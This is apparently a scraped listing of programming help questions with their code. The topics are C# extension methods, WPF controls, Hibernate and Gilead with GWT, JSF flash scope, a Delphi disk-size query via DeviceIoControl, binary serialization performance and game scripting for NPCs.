I just deluding myself? (edit2: In response to Tomas - while C# did start out with Java's (overly, imo) OO mentality, it seems to be embracing more multi-paradigm programming with every new release; the main thrust of this question is whether using extension methods to drive a style change (towards more generic / functional C#) is useful or worthwhile..) edit3: overridable extension methods The only real problem identified so far with this approach, is that you can't specialize extension methods if you need to. I've been thinking about the issue, and I think I've come up with a solution. Suppose I have an interface MyInterface, which I want to extend - I define my extension methods in a MyExtension static class, and pair it with another interface, call it MyExtensionOverrider. MyExtension methods are defined according to this pattern: public static int MyMethod(this MyInterface obj, int arg, bool attemptCast=true) { if (attemptCast && obj is MyExtensionOverrider) { return ((MyExtensionOverrider)obj).MyMethod(arg); } // regular implementation here } The override interface mirrors all of the methods defined in MyExtension, except without the this or attemptCast parameters: public interface MyExtensionOverrider { int MyMethod(int arg); string MyOtherMethod(); } Now, any class can implement the interface and get the default extension functionality: public class MyClass : MyInterface { ... } Anyone that wants to override it with specific implementations can additionally implement the override interface: public class MySpecializedClass : MyInterface, MyExtensionOverrider { public int MyMethod(int arg) { //specialized implementation for one method } public string MyOtherMethod() { // fallback to default for others MyExtension.MyOtherMethod(this, attemptCast: false); } } And there we go: extension methods provided on an interface, with the option of complete extensibility if needed. Fully general too, the interface itself doesn't need to know about the extension / override, and multiple extension / override pairs can be implemented without interfering with each other. I can see three problems with this approach - It's a little bit fragile - the extension methods and override interface have to be kept synchronized manually. It's a little bit ugly - implementing the override interface involves boilerplate for every function you don't want to specialize. It's a little bit slow - there's an extra bool comparison and cast attempt added to the mainline of every method. Still, all those notwithstanding, I think this is the best we can get until there's language support for interface functions. Thoughts?

  • CheckBox ListView SelectedValues DependencyProperty Binding

    - by Ristogod
    I am writing a custom control that is a ListView that has a CheckBox on each item in the ListView to indicate that item is Selected. I was able to do so with the following XAML. <ListView x:Class="CheckedListViewSample.CheckBoxListView" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" mc:Ignorable="d"> <ListView.Style> <Style TargetType="{x:Type ListView}"> <Setter Property="SelectionMode" Value="Multiple" /> <Style.Resources> <Style TargetType="ListViewItem"> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="ListViewItem"> <Border BorderThickness="{TemplateBinding Border.BorderThickness}" Padding="{TemplateBinding Control.Padding}" BorderBrush="{TemplateBinding Border.BorderBrush}" Background="{TemplateBinding Panel.Background}" SnapsToDevicePixels="True"> <CheckBox IsChecked="{Binding IsSelected, RelativeSource={RelativeSource FindAncestor, AncestorType={x:Type ListViewItem}}}"> <CheckBox.Content> <ContentPresenter Content="{TemplateBinding ContentControl.Content}" ContentTemplate="{TemplateBinding ContentControl.ContentTemplate}" HorizontalAlignment="{TemplateBinding Control.HorizontalContentAlignment}" VerticalAlignment="{TemplateBinding Control.VerticalContentAlignment}" SnapsToDevicePixels="{TemplateBinding UIElement.SnapsToDevicePixels}" /> </CheckBox.Content> </CheckBox> </Border> </ControlTemplate> </Setter.Value> </Setter> </Style> </Style.Resources> </Style> </ListView.Style> </ListView> I however am trying to attempt one more feature. The ListView has a SelectedItems DependencyProperty that returns a collection of the Items that are checked. However, I need to implement a SelectedValues DependencyProperty. I also am implementing a SelectedValuesPath DependencyProperty. By using the SelectedValuesPath, I indicate the path where the values are found for each selected item. So if my items have an ID property, I can specify using the SelectedValuesPath property "ID". The SelectedValues property would then return a collection of ID values. I have this working also using this code in the code-behind: using System.Windows; using System.Windows.Controls; using System.ComponentModel; using System.Collections; using System.Collections.Generic; namespace CheckedListViewSample { /// <summary> /// Interaction logic for CheckBoxListView.xaml /// </summary> public partial class CheckBoxListView : ListView { public static DependencyProperty SelectedValuesPathProperty = DependencyProperty.Register("SelectedValuesPath", typeof(string), typeof(CheckBoxListView), new PropertyMetadata(string.Empty, null)); public static DependencyProperty SelectedValuesProperty = DependencyProperty.Register("SelectedValues", typeof(IList), typeof(CheckBoxListView), new PropertyMetadata(new List<object>(), null)); [Category("Appearance")] [Localizability(LocalizationCategory.NeverLocalize)] [Bindable(true)] public string SelectedValuesPath { get { return ((string)(base.GetValue(CheckBoxListView.SelectedValuesPathProperty))); } set { base.SetValue(CheckBoxListView.SelectedValuesPathProperty, value); } } [Bindable(true)] [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] [Category("Appearance")] public IList SelectedValues { get { return ((IList)(base.GetValue(CheckBoxListView.SelectedValuesPathProperty))); } set { base.SetValue(CheckBoxListView.SelectedValuesPathProperty, value); } } public CheckBoxListView() : base() { InitializeComponent(); base.SelectionChanged += new SelectionChangedEventHandler(CheckBoxListView_SelectionChanged); } private void CheckBoxListView_SelectionChanged(object sender, SelectionChangedEventArgs e) { List<object> values = new List<object>(); foreach (var item in SelectedItems) { if (string.IsNullOrWhiteSpace(SelectedValuesPath)) { values.Add(item); } else { try { values.Add(item.GetType().GetProperty(SelectedValuesPath).GetValue(item, null)); } catch { } } } base.SetValue(CheckBoxListView.SelectedValuesProperty, values); e.Handled = true; } } } My problem is that my binding only works one way right now. I'm having trouble trying to figure out how to implement my SelectedValues DependencyProperty so that I could Bind a Collection of values to it, and when the control is loaded, the CheckBoxes are checked with items that have values that correspond to the SelectedValues. I've considered using the PropertyChangedCallBack event, but can't quite figure out how I could write that to achieve my goal. I'm also unsure of how I find the correct ListViewItem to set it as Selected. And lastly, if I can find the ListViewItem and set it to be Selected, won't that fire my SelectionChanged event each time I set a ListViewItem to be Selected?

  • Matlab Image watermarking question , using both SVD and DWT

    - by Georgek
    Hello all . here is a code that i got over the net ,and it is supposed to embed a watermark of size(50*20) called _copyright.bmp in the Code below . the size of the cover object is (512*512), it is called _lena_std_bw.bmp.What we did here is we did DWT2 2 times for the image , when we reached our second dwt2 cA2 size is 128*128. You should notice that the blocksize and it equals 4, it is used to determine the max msg size based on cA2 according to the following code:max_message=RcA2*CcA2/(blocksize^2). in our current case max_message would equal 128*128/(4^2)=1024. i want to embed a bigger watermark in the 2nd dwt2 and lets say the size of that watermark is 400*10(i can change the dimension using MS PAINT), what i have to do is change the size of the blocksize to 2. so max_message=4096.Matlab gives me 3 errors and they are : ???

  • Hibernate Lazy initialization exception problem with Gilead in GWT 2.0 integration

    - by sylsau
    Hello, I use GWT 2.0 as UI layer on my project. On server side, I use Hibernate. For example, this is 2 domains entities that I have : public class User { private Collection<Role> roles; @ManyToMany(cascade = CascadeType.ALL, fetch = FetchType.LAZY, mappedBy = "users", targetEntity = Role.class) public Collection<Role> getRoles() { return roles; } ... } public class Role { private Collection<User> users; @ManyToMany(cascade = CascadeType.ALL, fetch = FetchType.LAZY, targetEntity = User.class) public Collection<User> getUsers() { return users; } ... } On my DAO layer, I use UserDAO that extends HibernateDAOSupport from Spring. UserDAO has getAll method to return all of Users. And on my DAO service, I use UserService that uses userDAO to getAll of Users. So, when I get all of Users from UsersService, Users entities returned are detached from Hibernate session. For that reason, I don't want to use getRoles() method on Users instance that I get from my service. What I want is just to transfer my list of Users thanks to a RPC Service to be able to use others informations of Users in client side with GWT. Thus, my main problem is to be able to convert PersistentBag in Users.roles in simple List to be able to transfer via RPC the Users. To do that, I have seen that Gilead Framework could be a solution. In order to use Gilead, I have changed my domains entities. Now, they extend net.sf.gilead.pojo.gwt.LightEntity and they respect JavaBean specification. On server, I expose my services via RPC thanks to GwtRpcSpring framework (http://code.google.com/p/gwtrpc-spring/). This framework has an advice that makes easier Gilead integration. My applicationContext contains the following configuration for Gilead : <bean id="gileadAdapterAdvisor" class="org.gwtrpcspring.gilead.GileadAdapterAdvice" /> <aop:config> <aop:aspect id="gileadAdapterAspect" ref="gileadAdapterAdvisor"> <aop:pointcut id="gileadPointcut" expression="execution(public * com.google.gwt.user.client.rpc.RemoteService.*(..))" /> <aop:around method="doBasicProfiling" pointcut-ref="gileadPointcut" /> </aop:aspect> </aop:config> <bean id="proxySerializer" class="net.sf.gilead.core.serialization.GwtProxySerialization" /> <bean id="proxyStore" class="net.sf.gilead.core.store.stateless.StatelessProxyStore"> <property name="proxySerializer" ref="proxySerializer" /> </bean> <bean id="persistenceUtil" class="net.sf.gilead.core.hibernate.HibernateUtil"> <property name="sessionFactory" ref="sessionFactory" /> </bean> <bean class="net.sf.gilead.core.PersistentBeanManager"> <property name="proxyStore" ref="proxyStore" /> <property name="persistenceUtil" ref="persistenceUtil" /> </bean> The code of the the method doBasicProfiling is the following : @Around("within(com.google.gwt.user.client.rpc.RemoteService..*)") public Object doBasicProfiling(ProceedingJoinPoint pjp) throws Throwable { if (log.isDebugEnabled()) { String className = pjp.getSignature().getDeclaringTypeName(); String methodName = className .substring(className.lastIndexOf(".") + 1) + "." + pjp.getSignature().getName(); log.debug("Wrapping call to " + methodName + " for PersistentBeanManager"); } GileadHelper.parseInputParameters(pjp.getArgs(), beanManager, RemoteServiceUtil.getThreadLocalSession()); Object retVal = pjp.proceed(); retVal = GileadHelper.parseReturnValue(retVal, beanManager); return retVal; } With that configuration, when I run my application and I use my RPC Service that gets all of Users, I obtain a lazy initialization exception from Hibernate from Users.roles. I am disappointed because I thought that Gilead would let me to serialize my domain entities even if these entities contained PersistentBag. It's not one of the goals of Gilead ? So, someone would know how to configure Gilead (with GwtRpcSpring or other solution) to be able to transfer domain entities without Lazy exception ? Thanks by advance for your help. Sylvain

  • Different ways to query this search in SQL?

    I am teaching myself MS-SQL and I am trying to find different ways to find the Count of Paid and Unpaid Claims for 2012 grouped by Region from these 3 tables.

  • jsf flash.keep and redirects does not seem to work

    - by user384706
    Hi, I am trying to use JSF 2.0 flash via redirects. I have a class named UserBean (ManagedScoped and RequestScoped). It has a method called getValuesFromFlash which essentially gets the values from the flash and sets the coresponding properties of the UserBean public void getValuesFromFlash() { Flash flash = FacesContext.getCurrentInstance().getExternalContext().getFlash(); firstName= (String) flash.get("firstName"); lastName = (String) flash.get("lastName"); } In the entry page the <h:inputText> are bound to the flash. Snippet follows: Entry.xhtml <h:form> <table> <tr> <td>First Name:</td> <td> <h:inputText id="fname" value="#{flash.firstName}" required="true"/> <h:message for="fname" /> </td> </tr> <tr> <td>Last Name:</td> <td> <h:inputText id="lname" value="#{flash.lastName}" required="true"/> <h:message for="lname" /> </td> </tr> </table <p><h:commandButton value="Submit" action="confirmation?faces-redirect=true" /></p> </h:form> In confirmation.xhtml these values are supposed to be displayed but they are not. Snippet follows: <table> <tr> <td>First Name:</td> <td> <h:outputText value="#{flash.keep.firstName}" /> </td> </tr> <tr> <td>Last Name:</td> <td> <h:outputText value="#{flash.keep.lastName}"/> </td> </tr> </table> <h:form> <p><h:commandButton value="Confirm" action="finished?faces-redirect=true" /></p> </h:form> In finished.xhtml I want all these to be displayed so: <h:body> <h:form> #{userBean.getValuesFromFlash( )} <table> <tr> <td>First Name:</td> <td> <h:outputText value="#{userBean.firstName}" /> </td> </tr> <tr> <td>Last Name:</td> <td> <h:outputText value="#{userBean.lastName}"/> </td> </tr> </table> </h:form> </h:body> Instead when I get redirected to confirmation.xhtml neither first nor last name is displayed, despite I used flash.keep Also in finished.xhtml I get org.apache.el.parser.ParseException: Encountered " "(" "( "" at line 1, column 30. Was expecting one of: "}" ... "." If I remove the parenthesis from the expression #{userBean.getValuesFromFlash( )} and make it = #{userBean.getValuesFromFlash} javax.el.ELException: /done.xhtml: Property 'getValuesFromFlash' not found on type com.UserBean But why no property??It is a method! Why is the method not visible? What I am doing wrong here please? I am using JSF2.0 (MyFaces), Eclipse Helios and Tomcat 6 (Have also tried in Tomcat 7 but no luck). Any help is appreciated. Thanks!

  • Delphi - Using DeviceIoControl passing IOCTL_DISK_GET_LENGTH_INFO to get flash media physical size (Not Partition)

    - by SuicideClutchX2
    Alright this is the result of a couple of other questions. It appears I was doing something wrong with the suggestions and at this point have come up with an error when using the suggested API to get the media size. Those new to my problem I am working at the physical disk level, not within the confines of a partition or file system. Here is the pastebin code for the main unit (Delphi 2009) - http://clutchx2.pastebin.com/iMnq8kSx Here is the application source and executable with a form built to output the status of whats going on - http://www.mediafire.com/?js8e6ci8zrjq0de Its probably easier to use the download, unless your just looking for problems within the code. I will also paste the code here. unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TfrmMain = class(TForm) edtDrive: TEdit; lblDrive: TLabel; btnMethod1: TButton; btnMethod2: TButton; lblSpace: TLabel; edtSpace: TEdit; lblFail: TLabel; edtFail: TEdit; lblError: TLabel; edtError: TEdit; procedure btnMethod1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; TDiskExtent = record DiskNumber: Cardinal; StartingOffset: Int64; ExtentLength: Int64; end; DISK_EXTENT = TDiskExtent; PDiskExtent = ^TDiskExtent; TVolumeDiskExtents = record NumberOfDiskExtents: Cardinal; Extents: array[0..0] of TDiskExtent; end; VOLUME_DISK_EXTENTS = TVolumeDiskExtents; PVolumeDiskExtents = ^TVolumeDiskExtents; var frmMain: TfrmMain; const FILE_DEVICE_DISK = $00000007; METHOD_BUFFERED = 0; FILE_ANY_ACCESS = 0; IOCTL_DISK_BASE = FILE_DEVICE_DISK; IOCTL_VOLUME_BASE = DWORD('V'); IOCTL_DISK_GET_LENGTH_INFO = $80070017; IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS = ((IOCTL_VOLUME_BASE shl 16) or (FILE_ANY_ACCESS shl 14) or (0 shl 2) or METHOD_BUFFERED); implementation {$R *.dfm} function GetLD(Drive: Char): Cardinal; var Buffer : String; begin Buffer := Format('\\.\%s:',[Drive]); Result := CreateFile(PChar(Buffer),GENERIC_READ Or GENERIC_WRITE,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0); If Result = INVALID_HANDLE_VALUE Then begin Result := CreateFile(PChar(Buffer),GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0); end; end; function GetPD(Drive: Byte): Cardinal; var Buffer : String; begin If Drive = 0 Then begin Result := INVALID_HANDLE_VALUE; Exit; end; Buffer := Format('\\.\PHYSICALDRIVE%d',[Drive]); Result := CreateFile(PChar(Buffer),GENERIC_READ Or GENERIC_WRITE,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0); If Result = INVALID_HANDLE_VALUE Then begin Result := CreateFile(PChar(Buffer),GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0); end; end; function GetPhysicalDiskNumber(Drive: Char): Byte; var LD : DWORD; DiskExtents : PVolumeDiskExtents; DiskExtent : TDiskExtent; BytesReturned : Cardinal; begin Result := 0; LD := GetLD(Drive); If LD = INVALID_HANDLE_VALUE Then Exit; Try DiskExtents := AllocMem(Max_Path); DeviceIOControl(LD,IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS,nil,0,DiskExtents,Max_Path,BytesReturned,nil); If DiskExtents^.NumberOfDiskExtents > 0 Then begin DiskExtent := DiskExtents^.Extents[0]; Result := DiskExtent.DiskNumber; end; Finally CloseHandle(LD); end; end; procedure TfrmMain.btnMethod1Click(Sender: TObject); var PD : DWORD; CardSize: Int64; BytesReturned: DWORD; CallSuccess: Boolean; begin PD := GetPD(GetPhysicalDiskNumber(edtDrive.Text[1])); If PD = INVALID_HANDLE_VALUE Then Begin ShowMessage('Invalid Physical Disk Handle'); Exit; End; CallSuccess := DeviceIoControl(PD, IOCTL_DISK_GET_LENGTH_INFO, nil, 0, @CardSize, SizeOf(CardSize), BytesReturned, nil); if not CallSuccess then begin edtError.Text := IntToStr(GetLastError()); edtFail.Text := 'True'; end else edtFail.Text := 'False'; CloseHandle(PD); end; end. I placed a second method button on the form so I can write a different set of code into the app if I feel like it. Only minimal error handling and safeguards are there is nothing that wasn't necessary for debugging this via source. I tried this on a Sony Memory Stick using a PSP as the reader because I cant find the adapter for using a duo in my machine. The target is an MS and half of my users use a PSP for a reader half dont. However this should work fine on SD cards and that is a secondary target for my work as well. I tried this on a usb memory card reader and several SD cards. Now that I have fixed my attempt I get an error returned. 50 ERROR_NOT_SUPPORTED The request is not supported. I have found an application that uses this API as well as alot of related functions for what I am trying todo. I am getting ready to look into it the application is called DriveImage and its source is here - http://sourceforge.net/projects/diskimage/ The only thing I have really noticed from that application is there use of TFileStream and using that to get a handle on the physical disk.

  • improving conversions to binary and back in C#

    - by Saad Imran.
    I'm trying to write a general purpose socket server for a game I'm working on. I know I could very well use already built servers like SmartFox and Photon, but I wan't to go through the pain of creating one myself for learning purposes. I've come up with a BSON inspired protocol to convert the the basic data types, their arrays, and a special GSObject to binary and arrange them in a way so that it can be put back together into object form on the client end. At the core, the conversion methods utilize the .Net BitConverter class to convert the basic data types to binary. Anyways, the problem is performance, if I loop 50,000 times and convert my GSObject to binary each time it takes about 5500ms (the resulting byte[] is just 192 bytes per conversion). I think think this would be way too slow for an MMO that sends 5-10 position updates per second with a 1000 concurrent users. Yes, I know it's unlikely that a game will have a 1000 users on at the same time, but like I said earlier this is supposed to be a learning process for me, I want to go out of my way and build something that scales well and can handle at least a few thousand users. So yea, if anyone's aware of other conversion techniques or sees where I'm loosing performance I would appreciate the help. GSBitConverter.cs This is the main conversion class, it adds extension methods to main datatypes to convert to the binary format. It uses the BitConverter class to convert the base types. I've shown only the code to convert integer and integer arrays, but the rest of the method are pretty much replicas of those two, they just overload the type. public static class GSBitConverter { public static byte[] ToGSBinary(this short value) { return BitConverter.GetBytes(value); } public static byte[] ToGSBinary(this IEnumerable<short> value) { List<byte> bytes = new List<byte>(); short length = (short)value.Count(); bytes.AddRange(length.ToGSBinary()); for (int i = 0; i < length; i++) bytes.AddRange(value.ElementAt(i).ToGSBinary()); return bytes.ToArray(); } public static byte[] ToGSBinary(this bool value); public static byte[] ToGSBinary(this IEnumerable<bool> value); public static byte[] ToGSBinary(this IEnumerable<byte> value); public static byte[] ToGSBinary(this int value); public static byte[] ToGSBinary(this IEnumerable<int> value); public static byte[] ToGSBinary(this long value); public static byte[] ToGSBinary(this IEnumerable<long> value); public static byte[] ToGSBinary(this float value); public static byte[] ToGSBinary(this IEnumerable<float> value); public static byte[] ToGSBinary(this double value); public static byte[] ToGSBinary(this IEnumerable<double> value); public static byte[] ToGSBinary(this string value); public static byte[] ToGSBinary(this IEnumerable<string> value); public static string GetHexDump(this IEnumerable<byte> value); } Program.cs Here's the the object that I'm converting to binary in a loop. class Program { static void Main(string[] args) { GSObject obj = new GSObject(); obj.AttachShort("smallInt", 15); obj.AttachInt("medInt", 120700); obj.AttachLong("bigInt", 10900800700); obj.AttachDouble("doubleVal", Math.PI); obj.AttachStringArray("muppetNames", new string[] { "Kermit", "Fozzy", "Piggy", "Animal", "Gonzo" }); GSObject apple = new GSObject(); apple.AttachString("name", "Apple"); apple.AttachString("color", "red"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)1.5); GSObject lemon = new GSObject(); apple.AttachString("name", "Lemon"); apple.AttachString("color", "yellow"); apple.AttachBool("inStock", false); apple.AttachFloat("price", (float)0.8); GSObject apricoat = new GSObject(); apple.AttachString("name", "Apricoat"); apple.AttachString("color", "orange"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)1.9); GSObject kiwi = new GSObject(); apple.AttachString("name", "Kiwi"); apple.AttachString("color", "green"); apple.AttachBool("inStock", true); apple.AttachFloat("price", (float)2.3); GSArray fruits = new GSArray(); fruits.AddGSObject(apple); fruits.AddGSObject(lemon); fruits.AddGSObject(apricoat); fruits.AddGSObject(kiwi); obj.AttachGSArray("fruits", fruits); Stopwatch w1 = Stopwatch.StartNew(); for (int i = 0; i < 50000; i++) { byte[] b = obj.ToGSBinary(); } w1.Stop(); Console.WriteLine(BitConverter.IsLittleEndian ? "Little Endian" : "Big Endian"); Console.WriteLine(w1.ElapsedMilliseconds + "ms"); } Here's the code for some of my other classes that are used in the code above. Most of it is repetitive.

  • Choosing a scripting language for game and implementing it

    - by Radius
    Hello, I am currently developing a 3D Action/RPG game in C++, and I would like some advice in choosing a scripting language to program the AI of the game. My team comes from a modding background, and in fact we are still finishing work on a mod of the game Gothic. In that game (which we also got our inspiration from) the language DAEDALUS (created by Piranha Bytes, the makers of the game) is used. Here is a full description of said language. The main thing to notice about this is that it uses instances moreso than classes. The game engine is closed, and so one can only guess about the internal implementation of this language, but the main thing I am looking for in a scripting language (which ideally would be quite similar but preferably also more powerful than DAEDALUS) is the fact that there are de facto 3 'separations' of classes - ie classes, instances and (instances of instances?). I think it will be easier to understand what I want if I provide an example. Take a regular NPC. First of all you have a class defined which (I understand) mirrors the (class or structure) inside the engine: CLASS C_NPC { VAR INT id ; // absolute ID des NPCs VAR STRING name [5] ; // Namen des NPC VAR STRING slot ; VAR INT npcType ; VAR INT flags ; VAR INT attribute [ATR_INDEX_MAX] ; VAR INT protection [PROT_INDEX_MAX]; VAR INT damage [DAM_INDEX_MAX] ; VAR INT damagetype ; VAR INT guild,level ; VAR FUNC mission [MAX_MISSIONS] ; var INT fight_tactic ; VAR INT weapon ; VAR INT voice ; VAR INT voicePitch ; VAR INT bodymass ; VAR FUNC daily_routine ; // Tagesablauf VAR FUNC start_aistate ; // Zustandsgesteuert // ********************** // Spawn // ********************** VAR STRING spawnPoint ; // Beim Tod, wo respawnen ? VAR INT spawnDelay ; // Mit Delay in (Echtzeit)-Sekunden // ********************** // SENSES // ********************** VAR INT senses ; // Sinne VAR INT senses_range ; // Reichweite der Sinne in cm // ********************** // Feel free to use // ********************** VAR INT aivar [50] ; VAR STRING wp ; // ********************** // Experience dependant // ********************** VAR INT exp ; // EXerience Points VAR INT exp_next ; // EXerience Points needed to advance to next level VAR INT lp ; // Learn Points }; Then, you can also define prototypes (which set some default values). But how you actually define an NPC is like this: instance BAU_900_Ricelord (Npc_Default) //Inherit from prototype Npc_Default { //-------- primary data -------- name = "Ryzowy Ksiaze"; npctype = NPCTYPE_GUARD; guild = GIL_BAU; level = 10; voice = 12; id = 900; //-------- abilities -------- attribute[ATR_STRENGTH] = 50; attribute[ATR_DEXTERITY] = 10; attribute[ATR_MANA_MAX] = 0; attribute[ATR_MANA] = 0; attribute[ATR_HITPOINTS_MAX]= 170; attribute[ATR_HITPOINTS] = 170; //-------- visuals -------- // animations Mdl_SetVisual (self,"HUMANS.MDS"); Mdl_ApplyOverlayMds (self,"Humans_Arrogance.mds"); Mdl_ApplyOverlayMds (self,"HUMANS_DZIDA.MDS"); // body mesh ,bdytex,skin,head mesh ,headtex,teethtex,ruestung Mdl_SetVisualBody (self,"Hum_Body_CookSmith",1,1,"Hum_Head_FatBald",91 , 0,-1); B_Scale (self); Mdl_SetModelFatness(self,2); fight_tactic = FAI_HUMAN_STRONG; //-------- Talente -------- Npc_SetTalentSkill (self,NPC_TALENT_1H,1); //-------- inventory -------- CreateInvItems (self, ItFoRice,10); CreateInvItem (self, ItFoWine); CreateInvItems(self, ItMiNugget,40); EquipItem (self, Heerscherstab); EquipItem (self, MOD_AMULETTDESREISLORDS); CreateInvItem (self, ItMi_Alchemy_Moleratlubric_01); //CreateInvItem (self,ItKey_RB_01); EquipItem (self, Ring_des_Lebens); //-------------Daily Routine------------- daily_routine = Rtn_start_900; }; FUNC VOID Rtn_start_900 () { TA_Boss (07,00,20,00,"NC_RICELORD"); TA_SitAround (20,00,24,00,"NC_RICELORD_SIT"); TA_Sleep (24,00,07,00,"NC_RICEBUNKER_10"); }; As you can see, the instance declaration is more like a constructor function, setting values and calling functions from within. This still wouldn't pose THAT much of a problem, if not for one more thing: multiple copies of this instance. For example, you can spawn multiple BAU_900_Ricelord's, and each of them keeps track of its own AI state, hitpoints etc. Now I think the instances are represented as ints (maybe even as the id of the NPC) inside the engine, as whenever (inside the script) you use the expression BAU_900_Ricelord it can be only assigned to an int variable, and most functions that operate on NPCs take that int value. However to directly modify its hitpoints etc you have to do something like var C_NPC npc = GetNPC(Bau_900_Ricelord); npc.attribute[ATR_HITPOINTS] = 10; ie get the actual C_NPC object that represents it. To finally recap - is it possible to get this kind of behaviour in any scripting languages you know of, or am I stuck with having to make my own? Or maybe there is an even better way of representing NPC's and their behaviours that way. The IDEAL language for scripting for me would be C#, as I simply adore that language, but somehow I doubt it is possible or indeed feasible to try and implement a similar kind of behaviour in C#. Many thanks

  • how to use multiple tab controls, and to be able to call a selected tab control with buttons.

    Please I am trying to assign each button on the left its own Tab control. That is for example, when the Intake form button is pushed, it will have its own set of tabs (its own tabcontrols) am i supposed to place multiple tab controls on the artboard, or is there a way to programatically change the names of the tabs, and there contents, when a button is pushed on the left ? thank you in advance. and here is a link hxxp://img709.imageshack.us/img709/554/tabcontrol.gif here is the code so far <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" x:Class="service.MainWindow" x:Name="Window" Title="MainWindow" Width="687" Height="480" mc:Ignorable="d"> <Window.Resources> <Storyboard x:Key="OnLoaded1"/> </Window.Resources> <Window.Triggers> <EventTrigger RoutedEvent="FrameworkElement.Loaded"> <BeginStoryboard Storyboard="{StaticResource OnLoaded1}"/> </EventTrigger> </Window.Triggers> <Grid x:Name="LayoutRoot" Margin="0,0,-16,1"> <Grid.ColumnDefinitions> <ColumnDefinition Width="0*"/> <ColumnDefinition/> </Grid.ColumnDefinitions> <DockPanel Margin="8,8,0,7" LastChildFill="False" Grid.Column="1" HorizontalAlignment="Left" Width="660"> <Menu VerticalAlignment="Top" Width="657" Height="32"> <MenuItem x:Name="file" Header="File"/> <MenuItem x:Name="edit" Header="Edit"> <MenuItem Width="100" Height="100" Header="MenuItem"/> </MenuItem> <MenuItem x:Name="view" Header="View"/> <MenuItem x:Name="preferences" Header="Preferences"/> <MenuItem x:Name="help" Header="Help"/> </Menu> </DockPanel> <TabControl x:Name="tabwin" Margin="137.224,46,19,7" Grid.Column="1"> <TabItem x:Name="intakeformsub" Header="Elegibility Form"> <Grid HorizontalAlignment="Left" Width="490"/> </TabItem> <TabItem Header="TabItem"> <Grid/> </TabItem> <TabItem Header="TabItem"> <Grid/> </TabItem> <TabItem Header="TabItem"> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="0.567*"/> <ColumnDefinition Width="0.433*"/> </Grid.ColumnDefinitions> </Grid> </TabItem> <TabItem Header="TabItem"> <Grid/> </TabItem> <TabItem Header="TabItem"> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition Width="0.735*"/> <ColumnDefinition Width="0.265*"/> </Grid.ColumnDefinitions> </Grid> </TabItem> <TabItem Header="TabItem"> <Grid/> </TabItem> <TabItem Header="TabItem"> <Grid/> </TabItem> </TabControl> <Grid x:Name="___buttontab" Margin="11.205,61,0,0" Grid.Column="1" HorizontalAlignment="Left" Width="122.019" VerticalAlignment="Top" Height="276"> <Button VerticalAlignment="Top" Height="36" Content="Button"/> <Button Margin="0,40,0,0" Content="Oasis Assessments" VerticalAlignment="Top" Height="36"/> <Button Margin="0,80,0,0" VerticalAlignment="Top" Height="36" Content="Plan of Care"/> <Button Margin="0,120,0,0" VerticalAlignment="Top" Height="36" Content="Medication Profile" RenderTransformOrigin="0.421,5.556"/> <Button Margin="0,0,0,80" VerticalAlignment="Bottom" Height="36" Content="Clinical Notes"/> <Button Margin="0,0,0,40" VerticalAlignment="Bottom" Height="36" Content="Infection Control"/> <Button x:Name="intakeformbtn" VerticalAlignment="Top" Height="36" Content="Intake Form" Click="intakeform"> <Button.BindingGroup> <BindingGroup/> </Button.BindingGroup> </Button> <Button VerticalAlignment="Bottom" Height="36" Content="Discharge Summary"/> </Grid> <ProgressBar HorizontalAlignment="Left" Margin="8,0,0,7" VerticalAlignment="Bottom" Width="104.795" Height="19" Grid.Column="1"/> </Grid> </Window>
